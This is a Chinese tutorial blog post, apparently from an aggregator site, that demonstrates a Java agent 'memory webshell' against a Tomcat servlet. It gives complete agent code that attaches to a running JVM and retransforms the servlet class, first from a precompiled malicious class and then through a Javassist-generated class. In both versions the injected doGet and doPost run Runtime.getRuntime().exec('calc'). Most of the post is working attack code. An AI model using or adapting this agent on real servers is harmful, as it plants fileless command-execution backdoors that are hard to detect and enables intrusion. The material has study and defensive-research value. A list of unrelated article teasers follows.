agent内存马

news/2025/2/12 4:07:46/

搭建一个简单的Servlet项目

ServletDemo

package com.naihe;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class ServletDemo extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {resp.getWriter().write("123");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="false"
><!--注册Servlet--><servlet><servlet-name>demo</servlet-name><servlet-class>com.naihe.ServletDemo</servlet-class></servlet><!--Servlet的请求路径--><servlet-mapping><servlet-name>demo</servlet-name><url-pattern>/demo</url-pattern></servlet-mapping>
</web-app>

agent 

package com.naihe;import java.io.IOException;
import java.lang.instrument.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;public class agent {//java agent 入口public static void premain(String agentOps, Instrumentation inst) {System.out.println("=========premain方法执行========");simpleDemo(agentOps, inst);}public static void agentmain(String agentOps, Instrumentation inst) {System.out.println("=========agentmain方法执行========");simpleDemo(agentOps, inst);//transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了//必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层for (Class allLoadedClass : inst.getAllLoadedClasses()) {//这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){try {inst.retransformClasses(allLoadedClass);} catch (UnmodifiableClassException e) {e.printStackTrace();}}}}public static void simpleDemo(String agentOps, Instrumentation inst) {inst.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {//判断是指定的classif ("com/naihe/ServletDemo".equals(className)) {try {//获取更改后的类class 字节数组String path="C:/Users/12107/Desktop/ServletDemo2.class";classfileBuffer = Files.readAllBytes(Paths.get(path));} catch (IOException e) {e.printStackTrace();}}return classfileBuffer;}},true);}}

ServletDemo2为ServletDemo被恶意修改后的文件

package com.naihe;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class ServletDemo extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Runtime.getRuntime().exec("calc");resp.getWriter().write("success");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}

开启tomcat

运行attch:

以上的利用都是自己写好一个恶意类编译并上传使用,下面就是利用javaassist动态生成class后加载

利用Javaassist

package com.naihe;import javassist.*;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.*;
import java.lang.reflect.InvocationTargetException;
import java.security.ProtectionDomain;public class agent {//java agent 入口public static void premain(String agentOps, Instrumentation inst) {System.out.println("=========premain方法执行========");simpleDemo(agentOps, inst);}public static void agentmain(String agentOps, Instrumentation inst) {System.out.println("=========agentmain方法执行========");simpleDemo(agentOps, inst);//transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了//必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层for (Class allLoadedClass : inst.getAllLoadedClasses()) {//这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){try {inst.retransformClasses(allLoadedClass);} catch (UnmodifiableClassException e) {e.printStackTrace();}}}}public static void simpleDemo(String agentOps, Instrumentation inst) {inst.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {//判断是指定的classif ("com/naihe/ServletDemo".equals(className)) {try {classfileBuffer = JavaassistDemo();} catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {e.printStackTrace();}}return classfileBuffer;}},true);}public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {ClassPool pool = ClassPool.getDefault();pool.importPackage("javax.servlet.http.HttpServlet");pool.importPackage("java.io.IOException");// 1. 创建一个空类CtClass cc = pool.makeClass("com.naihe.ServletDemo");// 2.添加父类cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));// 3. 添加无参的构造函数CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);cons.setBody("{}");cc.addConstructor(cons);// 4.创建doGet方法CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);ctMethod.setModifiers(Modifier.PROTECTED);ctMethod.setBody("        try {\n" +"            Runtime.getRuntime().exec(\"calc\");\n" +"        } catch (IOException var4) {\n" +"            var4.printStackTrace();\n" +"        }");cc.addMethod(ctMethod);// 4.创建doPost方法CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);ctMethod2.setModifiers(Modifier.PROTECTED);ctMethod2.setBody("        try {\n" +"            Runtime.getRuntime().exec(\"calc\");\n" +"        } catch (IOException var4) {\n" +"            var4.printStackTrace();\n" +"        }");cc.addMethod(ctMethod2);return cc.toBytecode();}}

由于利用了第三方jar包因此想要导出所有项目,不能再像前面那样只导出自己写的代码了,步骤如下

在这里我将使用javaassist的agent命名为agent2

打包好的jar就在如下位置

修改MANIFEST.MF 老样子在前面添加

访问demo

运行attach


http://www.ppmy.cn/news/1369022.html

相关文章

博客笔记项目的自动化测试

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;测试开发项目 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01;&#xff01;! 文章目录 …

物联网与智慧城市:融合创新,塑造未来城市生活新图景

一、引言 在科技飞速发展的今天&#xff0c;物联网与智慧城市的融合创新已成为推动城市发展的重要力量。物联网技术通过连接万物&#xff0c;实现信息的智能感知、传输和处理&#xff0c;为智慧城市的构建提供了无限可能。智慧城市则运用物联网等先进技术&#xff0c;实现城市…

【双指针】删除有序数组中重复元素,双指针原地修改数组

删除有序数组中重复元素 链接 . - 力扣&#xff08;LeetCode&#xff09;. - 备战技术面试&#xff1f;力扣提供海量技术面试资源&#xff0c;帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/remove-duplicates-from-sorted-array/…

Unity AI生成全景图制作天空盒

现在的AI很强大。 其中&#xff0c;有这样一个网站&#xff0c;通过输入提示词&#xff0c;选择某种风格就可以为你生成360全景图。 网页链接 一、生成全景图 打开网页后&#xff0c;如图&#xff1a; 勾选&#xff0c;点击CONFIRM。 点击GET STARTED&#xff0c;进入主页。…

windows 系统上搭建 Phpstudy 集成环境 + DVWA 靶场!超详细教程!

作为安全测试或渗透测试学习者&#xff0c;需要搭建一些靶场来进行技术练习&#xff0c;靶场类型有很多&#xff0c;搭建方式也支持多样&#xff0c;本文给你详细介绍windows系统下如何通过phpstudy集成环境搭建DVWA靶场&#xff01; 一、前言 网站是由中间件、网站程序、数据库…

MongoDB - readConcern

readConcern 是 MongoDB 提供的一个功能&#xff0c;用于控制在读取操作期间所使用的数据一致性级别。在分布式环境中&#xff0c;可能会出现数据读取时的一致性问题&#xff0c;readConcern 允许您指定在读取数据时所需的一致性级别&#xff0c;以满足特定的业务需求。 在 Mo…

Vue开发实例(一)Vue环境搭建第一个项目

Vue环境搭建&第一个项目 一、环境搭建二、安装Vue脚手架三、创建Vue项目 一、环境搭建 下载方式从官网下载&#xff1a;http://nodejs.cn/download/ 建议下载v12.16.0版本以上的&#xff0c;因为版本低无法创建Vue的脚手架 检验是否安装成功 配置环境变量 新增NODE_HOME&…

Linux或Windows下判断socket连接状态

前言 场景&#xff1a;客户端程序需要实时知道和服务器的连接状态。比较通用的做法应用层是采用心跳机制&#xff0c;每隔一端时间发送心跳能回复说明服务器正常。 实际应用场景中&#xff0c;服务端和客户端并不是一家厂商的&#xff0c;比如说笔者这种情况&#xff0c;服务端…